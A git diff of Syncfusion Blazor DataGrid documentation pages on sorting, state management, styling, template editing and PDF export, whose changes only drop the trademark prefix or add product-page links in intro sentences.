+The Blazor DataGrid supports sorting multiple columns simultaneously. To enable this feature, set both [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) and [AllowMultiSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowMultiSorting) to **true**.
 
 **How Multi-Column Sorting Works**
 
@@ -259,7 +259,7 @@ public class OrderData
 
 ## Disabling sorting for specific column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the option to disable sorting for individual columns. This is useful for fields where sorting is not meaningful or should be restricted.
+The Blazor DataGrid provides the option to disable sorting for individual columns. This is useful for fields where sorting is not meaningful or should be restricted.
 
 To disable sorting for a specific column, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property of that [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -331,7 +331,7 @@ public class OrderData
 
 ## Controlling Unsort behavior in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides control over whether a column can return to an unsorted state after sorting. This behavior is managed using the [AllowUnsort](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html#Syncfusion_Blazor_Grids_GridSortSettings_AllowUnsort) property in [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html).
+The Blazor DataGrid provides control over whether a column can return to an unsorted state after sorting. This behavior is managed using the [AllowUnsort](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html#Syncfusion_Blazor_Grids_GridSortSettings_AllowUnsort) property in [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html).
 When [AllowUnsort](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSortSettings.html#Syncfusion_Blazor_Grids_GridSortSettings_AllowUnsort) is set to **false**, clicking a sorted column header does not revert the Grid to its original unsorted layout. Instead, the column remains sorted until a different sort action is applied. This ensures a consistent sorting state and prevents accidental removal of sorting.
 
 {% tabs %}
@@ -400,7 +400,7 @@ public class OrderData
 
 ## Custom sorting 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the default sort logic for a column by setting the [SortComparer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnModel.html#Syncfusion_Blazor_Grids_ColumnModel_SortComparer) property of a column. This property accepts an IComparer &lt;object&gt; implementation, which can be created by defining a comparer class that implements the .NET [IComparer&lt;T&gt;](https://learn.microsoft.com/en-us/dotnet/api/system.collections.generic.icomparer-1?view=net-8.0) interface.
+The Blazor DataGrid allows customizing the default sort logic for a column by setting the [SortComparer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnModel.html#Syncfusion_Blazor_Grids_ColumnModel_SortComparer) property of a column. This property accepts an IComparer &lt;object&gt; implementation, which can be created by defining a comparer class that implements the .NET [IComparer&lt;T&gt;](https://learn.microsoft.com/en-us/dotnet/api/system.collections.generic.icomparer-1?view=net-8.0) interface.
 
 In this configuration, a custom comparer is assigned to the **CustomerID** column:
 
@@ -490,7 +490,7 @@ public class OrderData
 
 ## Touch interaction
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports sorting through touch gestures. On touch-enabled devices, tapping a column header sorts that column. A popup icon
+The Blazor DataGrid supports sorting through touch gestures. On touch-enabled devices, tapping a column header sorts that column. A popup icon
 ![Sorting in Blazor DataGrid.](./images/blazor-datagrid-sorting.webp) appears to enable multi-column sorting.
 To sort multiple columns, tap the popup
 ![Multiple sorting in Blazor DataGrid.](./images/blazor-datagrid-multiple-sorting.webp), and then tap the desired column headers.
@@ -503,7 +503,7 @@ This screenshot illustrates touch-based sorting in the Grid:
 
 ## Sort foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports sorting foreign key columns based on display text. To enable this, configure a [GridForeignColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html#Syncfusion_Blazor_Grids_GridForeignColumn_1_ForeignDataSource) with the following properties:
+The Blazor DataGrid supports sorting foreign key columns based on display text. To enable this, configure a [GridForeignColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html#Syncfusion_Blazor_Grids_GridForeignColumn_1_ForeignDataSource) with the following properties:
 
 - [ForeignDataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html#Syncfusion_Blazor_Grids_GridForeignColumn_1_ForeignDataSource) - Specifies the data source that contains foreign key values and display text.
 - [ForeignKeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_ForeignKeyField) - Defines the key field used for mapping.
@@ -614,7 +614,7 @@ public class OrderData
 
 ## How to customize sort icon
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the default sort icons by overriding the **.e-icon-ascending** and **.e-icon-descending** CSS classes. Use the **content** property to define custom icons:
+The Blazor DataGrid allows customizing the default sort icons by overriding the **.e-icon-ascending** and **.e-icon-descending** CSS classes. Use the **content** property to define custom icons:
 
 ```css
 .e-grid .e-icon-ascending::before {
@@ -707,7 +707,7 @@ public class OrderData
 
 ## Sort via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports sorting operations through built-in methods. These methods allow sorting to be added, removed, or cleared programmatically without relying on the grid’s UI. Sorting actions can be triggered externally—such as via dropdown menus, buttons, or other UI elements—allowing for flexible and dynamic control over data presentation.
+The Blazor DataGrid supports sorting operations through built-in methods. These methods allow sorting to be added, removed, or cleared programmatically without relying on the grid’s UI. Sorting actions can be triggered externally—such as via dropdown menus, buttons, or other UI elements—allowing for flexible and dynamic control over data presentation.
 
 ### Add sort columns
 
@@ -1228,7 +1228,7 @@ public class OrderData
 
 ## Sorting events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides events that are triggered during sorting operations, such as [Sorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Sorting) and [Sorted](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Sorted). These events enable the execution of custom actions before and after a column is sorted, allowing for validation, customization, and response handling.
+The Blazor DataGrid provides events that are triggered during sorting operations, such as [Sorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Sorting) and [Sorted](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Sorted). These events enable the execution of custom actions before and after a column is sorted, allowing for validation, customization, and response handling.
 
 1. `Sorting`: Triggered before a column is sorted.
 
diff --git a/blazor/datagrid/state-management.md b/blazor/datagrid/state-management.md
index c752c0da67..baa4db4ca9 100644
--- a/blazor/datagrid/state-management.md
+++ b/blazor/datagrid/state-management.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # State Management in Blazor DataGrid 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports state management to preserve grid configuration across browser reloads and page navigation within the same session. Persisted settings include **paging**, **sorting**, **filtering**, **grouping**, **column visibility**, and similar configurations. State persistence applies only to grid settings; the underlying data must be reloaded when the page refreshes.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports state management to preserve grid configuration across browser reloads and page navigation within the same session. Persisted settings include **paging**, **sorting**, **filtering**, **grouping**, **column visibility**, and similar configurations. State persistence applies only to grid settings; the underlying data must be reloaded when the page refreshes.
 
 Enable state persistence by setting the [EnablePersistence](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnablePersistence) property to **true**. When enabled, the grid stores its state in the browser’s [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage), retaining settings until cleared.
 
@@ -123,7 +123,7 @@ public class OrderData
 
 ## Restore initial Blazor DataGrid state
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes an option to revert to its original configuration by clearing all applied changes. This process resets **filters**, **sorting**, **grouping**, and **column customizations** to the initial state.
+The Blazor DataGrid includes an option to revert to its original configuration by clearing all applied changes. This process resets **filters**, **sorting**, **grouping**, and **column customizations** to the initial state.
 
 **Ways to Restore**
 
@@ -304,7 +304,7 @@ public class OrderDetails
 
 ## Restore to specific state version
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports state persistence, enabling saving and restoring grid configurations such as **column settings**, **filters**, **sorting**, **grouping**, and **paging**. This example demonstrates version-based state persistence using **localStorage**.
+The Blazor DataGrid supports state persistence, enabling saving and restoring grid configurations such as **column settings**, **filters**, **sorting**, **grouping**, and **paging**. This example demonstrates version-based state persistence using **localStorage**.
 
 Each version represents a unique grid configuration. When a version button is clicked:
 
@@ -433,7 +433,7 @@ public class OrderDetails
 
 ## Restore to previous state
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports saving and restoring the current state using local storage. This feature preserves configurations such as **column order**, **sorting**, **filtering**, **grouping**, and **paging**, allowing a return to a previously saved state.
+The Blazor DataGrid supports saving and restoring the current state using local storage. This feature preserves configurations such as **column order**, **sorting**, **filtering**, **grouping**, and **paging**, allowing a return to a previously saved state.
 
 **How It Works**
 
@@ -561,7 +561,7 @@ public class OrderDetails
 
 ## Maintaining custom query in a persistent state
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid persists configuration when [EnablePersistence](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnablePersistence) is **true**. Custom query parameters can be re-applied after persistence during data binding by using the [DataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_DataBound) event. Re-applying parameters in `DataBound` ensures the query remains consistent across reloads and navigation when persistence is enabled.
+The Blazor DataGrid persists configuration when [EnablePersistence](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnablePersistence) is **true**. Custom query parameters can be re-applied after persistence during data binding by using the [DataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_DataBound) event. Re-applying parameters in `DataBound` ensures the query remains consistent across reloads and navigation when persistence is enabled.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -648,7 +648,7 @@ public sealed class OrderDetails
 
 ## Get or set local storage value
 
-When the [EnablePersistence](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnablePersistence) property is **true**, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid saves its configuration in **window.localStorage**. This includes settings such as **paging**, **filtering**, **sorting**, and **column visibility**. The stored state can be retrieved or updated using JavaScript interop.
+When the [EnablePersistence](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnablePersistence) property is **true**, the Blazor DataGrid saves its configuration in **window.localStorage**. This includes settings such as **paging**, **filtering**, **sorting**, and **column visibility**. The stored state can be retrieved or updated using JavaScript interop.
 
 To retrieve the grid model from local storage:
 
diff --git a/blazor/datagrid/style-and-appearance/editing.md b/blazor/datagrid/style-and-appearance/editing.md
index 50d5cf7975..9115e3d5c2 100644
--- a/blazor/datagrid/style-and-appearance/editing.md
+++ b/blazor/datagrid/style-and-appearance/editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Editing customization in Syncfusion Blazor DataGrid
 
-The appearance of editing elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the editing interface:
+The appearance of editing elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for different parts of the editing interface:
 
 - **Edited and newly added rows:** Highlights rows that are being modified or newly inserted.
 - **Edit form input fields:** Displays text boxes used to enter or update values during editing.
diff --git a/blazor/datagrid/style-and-appearance/filtering.md b/blazor/datagrid/style-and-appearance/filtering.md
index 604136da95..cf125f38f9 100644
--- a/blazor/datagrid/style-and-appearance/filtering.md
+++ b/blazor/datagrid/style-and-appearance/filtering.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Filtering customization in Syncfusion Blazor DataGrid
 
-The appearance of filtering elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the filtering interface:
+The appearance of filtering elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for different parts of the filtering interface:
 
 - **Filter bar cell and input elements:** Used to enter filter values directly in the header row.
 - **Input focus styles:** Visual highlight applied when the filter input field is focused.
diff --git a/blazor/datagrid/style-and-appearance/grouping.md b/blazor/datagrid/style-and-appearance/grouping.md
index c3c633285d..23c62ac4d6 100644
--- a/blazor/datagrid/style-and-appearance/grouping.md
+++ b/blazor/datagrid/style-and-appearance/grouping.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Grouping customization in Syncfusion Blazor DataGrid
 
-The appearance of grouping elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the grouping interface:
+The appearance of grouping elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for different parts of the grouping interface:
 
 - **Group header container and text:** Displays grouped column names and allows drag-and-drop grouping actions.
 - **Expand and collapse icons:** Controls used to toggle visibility of grouped rows.
diff --git a/blazor/datagrid/style-and-appearance/header.md b/blazor/datagrid/style-and-appearance/header.md
index 2f6b3e68b5..7c9c85942f 100644
--- a/blazor/datagrid/style-and-appearance/header.md
+++ b/blazor/datagrid/style-and-appearance/header.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Header customization in Syncfusion Blazor DataGrid
 
-The appearance of header elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the header interface:
+The appearance of header elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for different parts of the header interface:
 
 - **Header container**: The outer wrapper that holds all column headers.
 - **Header cells**: Individual containers for each column title and associated icons.
diff --git a/blazor/datagrid/style-and-appearance/paging.md b/blazor/datagrid/style-and-appearance/paging.md
index ebfb088c29..88e0dd2392 100644
--- a/blazor/datagrid/style-and-appearance/paging.md
+++ b/blazor/datagrid/style-and-appearance/paging.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Paging customization in Syncfusion Blazor DataGrid
 
-The appearance of paging elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the pager interface:
+The appearance of paging elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for different parts of the pager interface:
 
 - **Root container:** The outermost wrapper that holds all pager content.
 - **Pager container:** The inner layout that positions the controls.
@@ -34,7 +34,7 @@ Properties like **font-family**, **background-color**, and spacing-related style
 
 ## Customize the pager container element
 
-The **.e-pagercontainer** class styles the pager container in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. Apply CSS to modify its look:
+The **.e-pagercontainer** class styles the pager container in the Blazor DataGrid. Apply CSS to modify its look:
 
 ```css
 .e-grid .e-pagercontainer {
diff --git a/blazor/datagrid/style-and-appearance/selection.md b/blazor/datagrid/style-and-appearance/selection.md
index 4bd36d9626..3ac499040e 100644
--- a/blazor/datagrid/style-and-appearance/selection.md
+++ b/blazor/datagrid/style-and-appearance/selection.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Selection customization in Syncfusion Blazor DataGrid
 
-The appearance of selection elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for:
+The appearance of selection elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for:
 
 - **Row selection background:** Highlights the entire row when selected.
 - **Cell selection background:** Highlights individual cells when selected.
diff --git a/blazor/datagrid/style-and-appearance/sorting.md b/blazor/datagrid/style-and-appearance/sorting.md
index e72e58395c..8d6ffe0aa4 100644
--- a/blazor/datagrid/style-and-appearance/sorting.md
+++ b/blazor/datagrid/style-and-appearance/sorting.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Sorting customization in Syncfusion Blazor DataGrid
 
-The appearance of sorting indicators in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for:
+The appearance of sorting indicators in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be customized using CSS. Styling options are available for:
 
 - **Ascending and descending sort icons:** Show the current sort direction in column headers.
 - **Multi-sorting order indicators:** Display the order of sorting when multiple columns are sorted.
diff --git a/blazor/datagrid/style-and-appearance/style-and-appearance.md b/blazor/datagrid/style-and-appearance/style-and-appearance.md
index 5f434b2d1e..6910431d55 100644
--- a/blazor/datagrid/style-and-appearance/style-and-appearance.md
+++ b/blazor/datagrid/style-and-appearance/style-and-appearance.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Style and appearance in Syncfusion Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports visual customization using CSS and theme-based styling. Styles can be applied to various elements to match the application's design. Styling options are available for:
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports visual customization using CSS and theme-based styling. Styles can be applied to various elements to match the application's design. Styling options are available for:
 
 - **DataGrid root element:** Defines the overall appearance of the grid container.
 - **Alternate rows with frozen columns:** Applies styles to alternate rows when frozen columns are enabled.
@@ -248,7 +248,7 @@ internal sealed class OrderData
 
 ## Customize the color of grid lines
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customization of grid lines to match application design requirements. Apply CSS to structural elements such as header cells, row cells, and the grid container to control color, thickness, and border style.
+The Blazor DataGrid allows customization of grid lines to match application design requirements. Apply CSS to structural elements such as header cells, row cells, and the grid container to control color, thickness, and border style.
 
 The [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GridLines) property defines border visibility and supports options for `Horizontal`, `Vertical`, `Both`, or `None`.
 
diff --git a/blazor/datagrid/style-and-appearance/toolbar.md b/blazor/datagrid/style-and-appearance/toolbar.md
index 5e5c4f0cf0..d14e8b4141 100644
--- a/blazor/datagrid/style-and-appearance/toolbar.md
+++ b/blazor/datagrid/style-and-appearance/toolbar.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Toolbar customization in Syncfusion Blazor DataGrid
 
-The appearance of toolbar elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the toolbar interface:
+The appearance of toolbar elements in the Blazor DataGrid can be customized using CSS. Styling options are available for different parts of the toolbar interface:
 
 - **Toolbar root container:** The outer wrapper that contains all toolbar items.
 - **Toolbar buttons:**  Shows interactive elements used for actions such as Add, Edit, Delete, Update, and Cancel.
diff --git a/blazor/datagrid/template-editing.md b/blazor/datagrid/template-editing.md
index 950594728a..d7d7f8bd25 100644
--- a/blazor/datagrid/template-editing.md
+++ b/blazor/datagrid/template-editing.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Template Editing in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component supports template editing, offering a flexible approach to customize the appearance and behavior of cells during editing. **Templates** can be used to define the structure and content of editable cells within the Grid.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component supports template editing, offering a flexible approach to customize the appearance and behavior of cells during editing. **Templates** can be used to define the structure and content of editable cells within the Grid.
 
 ## Inline template editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports inline template editing, which allows customization of the default inline editing behavior by enabling custom editors for grid rows. This is achieved by setting the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Normal** and wrapping editor elements inside the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Template) property of [GridEditSettings](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.Grids.GridEditSettings.html).
+The Blazor DataGrid supports inline template editing, which allows customization of the default inline editing behavior by enabling custom editors for grid rows. This is achieved by setting the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Normal** and wrapping editor elements inside the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Template) property of [GridEditSettings](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.Grids.GridEditSettings.html).
 
 This configuration is useful for rendering highly customized editors or modifying the layout of editable cells.
 
@@ -183,7 +183,7 @@ public class OrderDetails
 
 ## Dialog template editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dialog template editing, which allows customization of the default dialog editing behavior by defining custom editors for grid rows within a dialog. This configuration is useful for designing customized edit dialogs or including additional fields that are not part of the column model.
+The Blazor DataGrid supports dialog template editing, which allows customization of the default dialog editing behavior by defining custom editors for grid rows within a dialog. This configuration is useful for designing customized edit dialogs or including additional fields that are not part of the column model.
 
 To implement dialog template editing:
 
@@ -353,7 +353,7 @@ public class OrderDetails
 
 ### Disable components in dialog template
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, specific components rendered inside the dialog template can be disabled based on data source values. This behavior is controlled by setting the `Enabled` property of the components.
+In the Blazor DataGrid, specific components rendered inside the dialog template can be disabled based on data source values. This behavior is controlled by setting the `Enabled` property of the components.
 
 To dynamically modify the `Enabled` property within the dialog template, use the [RowCreating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowCreating) and [OnBeginEdit](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnBeginEdit) events of the grid. These events are triggered before adding a new record or editing an existing record, allowing conditional control over component states.
 
@@ -524,7 +524,7 @@ public class OrderDetails
 
 ### Get value from editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports reading, formatting, and updating the current editor value before it is saved. This functionality is useful for performing actions such as formatting or validation prior to committing data to the underlying data source.
+The Blazor DataGrid supports reading, formatting, and updating the current editor value before it is saved. This functionality is useful for performing actions such as formatting or validation prior to committing data to the underlying data source.
 
 To implement this behavior, use the [RowUpdating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdating) event, which is triggered before the save action is executed in the grid.
 
@@ -688,7 +688,7 @@ public class OrderDetails
 
 ### Set focus to particular column editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows control over the focus behavior of input elements in edit forms. By default, the first input element in the dialog receives focus when the dialog opens. In scenarios where the first input element is disabled or hidden, a valid input element can be explicitly focused.
+The Blazor DataGrid allows control over the focus behavior of input elements in edit forms. By default, the first input element in the dialog receives focus when the dialog opens. In scenarios where the first input element is disabled or hidden, a valid input element can be explicitly focused.
 
 This behavior can be achieved using the `Created` or `DataBound` event of the corresponding component.
 
@@ -856,7 +856,7 @@ public class OrderDetails
 
 ## Render tab component inside the dialog template
 
-Enhance the editing experience in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid by rendering a [Tab](https://blazor.syncfusion.com/documentation/tabs/getting-started-webapp) component inside the dialog template. This configuration is useful for presenting multiple editing sections or categories in a tabbed layout, providing a more intuitive and navigable interface for data editing.
+Enhance the editing experience in the Blazor DataGrid by rendering a [Tab](https://blazor.syncfusion.com/documentation/tabs/getting-started-webapp) component inside the dialog template. This configuration is useful for presenting multiple editing sections or categories in a tabbed layout, providing a more intuitive and navigable interface for data editing.
 
 To enable this functionality:
 
@@ -1070,7 +1070,7 @@ public class OrderDetails
 
 ### Complex data binding with dialog template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports editing of complex objects in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) using a dialog template. This configuration is suitable for managing hierarchical or nested data structures.
+The Blazor DataGrid supports editing of complex objects in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) using a dialog template. This configuration is suitable for managing hierarchical or nested data structures.
 
 To bind and edit complex objects, render the required HTML editor elements or components such as [SfNumericTextBox](https://blazor.syncfusion.com/documentation/numeric-textbox/getting-started) inside the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Template) property of the [GridEditSettings](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.Grids.GridEditSettings.html). Use two-way data binding (**@bind-Value**) to ensure real-time updates to the data in the `GridColumn`.
 
@@ -1178,7 +1178,7 @@ public class SalaryDetails
 
 ### Use FileUploader in Grid dialog edit template
 
-Images can be uploaded during add or edit operations and displayed in a grid column using the [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template) and [Dialog Template](https://blazor.syncfusion.com/documentation/datagrid/template-editing#dialog-template-editing) features of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. The `Column Template` is used to display the image, while the `Dialog Template` renders the [SfUploader](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app) component for image upload during dialog editing.
+Images can be uploaded during add or edit operations and displayed in a grid column using the [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template) and [Dialog Template](https://blazor.syncfusion.com/documentation/datagrid/template-editing#dialog-template-editing) features of the Blazor DataGrid. The `Column Template` is used to display the image, while the `Dialog Template` renders the [SfUploader](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app) component for image upload during dialog editing.
 
 In this configuration, add, edit, and save operations are handled using the [RowCreating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowCreating), [RowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowEditing), and [RowUpdating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdating) events of the grid. Image file selection and upload actions are performed using the [FileSelected](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.UploaderEvents.html#Syncfusion_Blazor_Inputs_UploaderEvents_FileSelected) and [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.UploaderEvents.html#Syncfusion_Blazor_Inputs_UploaderEvents_ValueChange) events of the `SfUploader`.
 
diff --git a/blazor/datagrid/template-pdf-export.md b/blazor/datagrid/template-pdf-export.md
index 07f902d2fe..ec3b682d0e 100644
--- a/blazor/datagrid/template-pdf-export.md
+++ b/blazor/datagrid/template-pdf-export.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Exporting Blazor DataGrid with templates
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting template content to a PDF document, enabling rich formatting in exported files. The following template types are supported:
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports exporting template content to a PDF document, enabling rich formatting in exported files. The following template types are supported:
 
 * [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template): Custom cell content such as formatted text, images, or hyperlinks.
 * [Caption Template](https://blazor.syncfusion.com/documentation/datagrid/caption-template): Group caption rows with customized display elements.
